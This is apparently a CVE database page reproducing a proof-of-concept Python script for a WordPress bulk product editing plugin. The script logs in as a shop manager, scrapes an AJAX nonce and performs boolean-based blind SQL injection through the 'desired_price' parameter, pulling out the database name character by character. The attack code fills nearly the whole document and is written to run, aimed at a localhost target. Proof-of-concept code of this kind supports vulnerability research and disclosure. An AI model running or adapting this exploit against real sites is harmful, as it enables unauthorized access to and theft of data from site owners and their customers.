4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import requests
import sys
import string
import re


class WordPressSQLInjector:
    def __init__(self, target, login_id, login_pw, proxies):
        self.target = target
        self.session = requests.session()
        self.nonce = None

        self.proxies = proxies
    
        self.login_id = login_id
        self.login_pw = login_pw

    def login(self):
        data = {
            "log": self.login_id,
            "pwd": self.login_pw,
            "wp-submit": "Log In",
            "testcookie": 1,
        }
        resp = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies)
        if any("wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()):
            print(f" |- Successfully logged in with account {self.login_id}.")
        else:
            raise Exception("[-] Login failed.")

    def get_nonce(self, page_url):
        """
        Extract the _ajax_eh_bep_nonce value from the specified page.
        """
        resp = self.session.get(url=page_url, proxies=self.proxies)
        pattern = r'name="_ajax_eh_bep_nonce" value=\"(.{10})\"'
        match = re.search(pattern, resp.text)

        if match:
            self.nonce = match.group(1)
            print(f" |- Successfully extracted nonce: {self.nonce}")
        else:
            raise ValueError("Failed to extract _ajax_eh_bep_nonce.")

    def create_payload(self, payload):
        """
        Generate a payload dictionary dynamically with the extracted nonce.
        """
        if not self.nonce:
            raise ValueError("_ajax_eh_bep_nonce is not set. Call `get_nonce` first.")
        return {
            "paged": "1",
            "_ajax_eh_bep_nonce": self.nonce,
            "action": "eh_bep_filter_products",
            "sub_category_filter": "",
            "attribute": "",
            "product_title_select": "all",
            "product_title_text": "",
            "regex_flags": "",
            "attribute_value_filter": "",
            "attribute_and": "",
            "attribute_value_and_filter": "",
            "range": "=",
            "desired_price": payload,
            "minimum_price": "",
            "maximum_price": "",
            "exclude_ids": "",
            "exclude_subcat_check": "0",
            "enable_exclude_prods": "0",
        }

    def find_database_length(self, ajax_url):
        """
        Find the length of the database name using SQL injection.
        """
        database_length = 0
        while True:
            sys.stdout.write(f"\rFinding database name length... Current database length: {database_length}")
            sys.stdout.flush()

            payload = f"1 OR LENGTH(DATABASE()) = {database_length}"
            resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)

            if resp.json()["total_items_count"] != 0:
                sys.stdout.write("\r" + " " * 60 + "\r")
                print("*" * 40)
                print("Successfully found database name length!")
                print(f"Database name length: {database_length}")
                print("*" * 40)
                return database_length

            database_length += 1

    def extract_database_name(self, ajax_url, database_length):
        """
        Extract the database name character by character using SQL injection.
        """
        database_name = ''
        charset = string.ascii_letters + string.digits + "_"

        print("Starting database name extraction...")
        for i in range(1, database_length + 1):
            for char in charset:
                ascii_value = ord(char)
                payload = f"1 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ascii_value}"
                resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)

                try:
                    is_true = resp.json()["total_items_count"] != 0
                except (KeyError, ValueError, requests.exceptions.JSONDecodeError):
                    print(f"\nJSON response error occurred: {resp.text}")
                    is_true = False

                if is_true:
                    database_name += char
                    sys.stdout.write(f"\rCurrent database name: {database_name}")
                    sys.stdout.flush()
                    break

        sys.stdout.write("\r" + " " * 80 + "\r")
        print("*" * 40)
        print("Successfully extracted database name!")
        print(f"Database name: {database_name}")
        print("*" * 40)

        return database_name


if __name__ == '__main__':
    # Configuration
    TARGET = "http://localhost:8080"

    # Shop Manager OR Administrator
    LOGIN_ID = "shop_manager"
    LOGIN_PW = "shop_manager"
    NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=eh-bulk-edit-product-attr"
    AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"

    # Enter the proxy server address in the variable below if you want to configure a proxy.
    PROXY_SERVER = None
    PROXY_CONFIG = {
        "https": PROXY_SERVER,
        "http": PROXY_SERVER,
    }

    # Initialize and perform SQL Injection
    injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxies=PROXY_CONFIG)
    injector.login()
    injector.get_nonce(NONCE_PAGE)
    database_length = injector.find_database_length(AJAX_URL)
    database_name = injector.extract_database_name(AJAX_URL, database_length)